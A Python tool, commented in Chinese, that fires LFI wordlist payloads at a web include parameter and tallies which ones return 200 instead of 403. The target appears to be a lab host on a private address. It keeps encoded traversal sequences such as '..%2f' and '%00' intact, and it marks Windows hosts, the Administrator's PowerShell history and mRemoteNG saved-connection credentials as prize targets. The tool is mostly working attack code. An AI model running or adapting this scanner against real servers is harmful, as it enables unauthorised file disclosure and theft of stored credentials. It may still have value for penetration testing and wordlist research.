#!/usr/bin/env python3
"""
LFI 字典评测器 —— 针对"精确匹配白名单"型 include 参数。

用途：把若干 LFI/敏感文件字典逐个打到一个 include 参数上，统计哪些字典能命中
目标白名单里的绝对路径字面量（200 vs 403 差分判据）。

用法:
    python3 lfi_wordlist_bench.py <url_prefix> <wordlist> [<wordlist> ...]
例:
    python3 lfi_wordlist_bench.py 'http://192.168.1.186/page.php?section=' list1.txt list2.txt

编码策略（关键）: 只编码会破坏 URL/传输的字符（反斜杠→%5C, #→%23, 空格等），
**保留 % 原样**，否则 `..%2f`、`%00` 这类已编码 payload 会被二次编码而失效。
"""
import sys
import urllib.parse
import urllib.request
import urllib.error
import os
import time

# 编码策略：移除 &、+、=、?、; 等 URL 结构及特殊字符，确保 payload 作为单个参数完整传递；保留 % 以兼容已编码序列
_SAFE = "/:.,@()[]{}'\"<>|^`~%-_"


def enc(payload: str) -> str:
    return urllib.parse.quote(payload, safe=_SAFE)


def probe(prefix: str, payload: str, timeout: float = 12.0):
    url = prefix + enc(payload)
    try:
        r = urllib.request.urlopen(url, timeout=timeout)
        body = r.read()
        return r.getcode(), len(body)
    except urllib.error.HTTPError as e:
        return e.code, 0
    except Exception:
        return -1, 0


def load(path: str):
    out, seen = [], set()
    with open(path, "rb") as f:
        for raw in f:
            w = raw.decode("utf-8", "replace").strip("\r\n").strip()
            if not w or w.startswith("#"):
                continue
            if w in seen:
                continue
            seen.add(w)
            out.append(w)
    return out


def is_absolute_win(w: str) -> bool:
    """看起来是绝对路径/含盘符的 Windows path payload"""
    s = w.lstrip("\\/./")
    return len(s) > 2 and s[1] == ":" or "\\" in w


def main() -> int:
    if len(sys.argv) < 3:
        print(__doc__)
        return 2
    prefix = sys.argv[1]
    lists = sys.argv[2:]

    # 目标白名单里"值得发现"的绝对路径字面量（用于标注命中价值）
    valuable = {
        r"C:\Windows\System32\drivers\etc\hosts": "hosts(混合大小写)",
        r"c:\windows\system32\drivers\etc\hosts": "hosts(全小写)",
        r"C:\Users\Administrator\AppData\Roaming\mRemoteNG\confCons.xml": "mRemoteNG 凭据",
        r"C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt": "PS 历史(混合)",
        r"c:\users\administrator\appdata\roaming\microsoft\windows\powershell\psreadline\consolehost_history.txt": "PS 历史(全小写)",
    }

    summary = []
    for path in lists:
        name = os.path.basename(path)
        words = load(path)
        # 大列表只打"绝对路径类"payload（白名单里可命中项只可能是绝对路径）
        if len(words) > 5000:
            probe_words = [w for w in words if is_absolute_win(w) or ":" in w]
            mode = f"绝对路径子集 {len(probe_words)}/{len(words)}"
        else:
            probe_words, mode = words, f"全量 {len(words)}"
        print(f"\n=== {name}  ({mode}) ===", flush=True)
        t0 = time.time()
        hits, non403 = [], []
        for w in probe_words:
            c, n = probe(prefix, w)
            if c == 200:
                tag = valuable.get(w, "")
                hits.append((w, n, tag))
                print(f"  [200] {w}   {n} B   {('<<< ' + tag) if tag else ''}", flush=True)
            elif c not in (403,):
                non403.append((w, c))
        dt = time.time() - t0
        found = [valuable[w] for w, _, t in hits if t]
        print(f"  -> 200 命中 {len(hits)} / 探测 {len(probe_words)}；非403响应 {len(non403)}；耗时 {dt:.1f}s", flush=True)
        for w, c in non403[:5]:
            print(f"     非403: [{c}] {w}", flush=True)
        summary.append((name, len(words), mode, len(probe_words), len(hits), found, dt))

    print("\n===== 汇总：各字典对目标白名单绝对路径的发现能力 =====")
    for name, total, mode, probed, hits, found, dt in summary:
        print(f"{name:<50} 词条{total:<7} 探测{probed:<7} 命中{hits:<3} 发现:{','.join(found) if found else '无'}  ({dt:.0f}s)")
    return 0


if __name__ == "__main__":
    sys.exit(main())
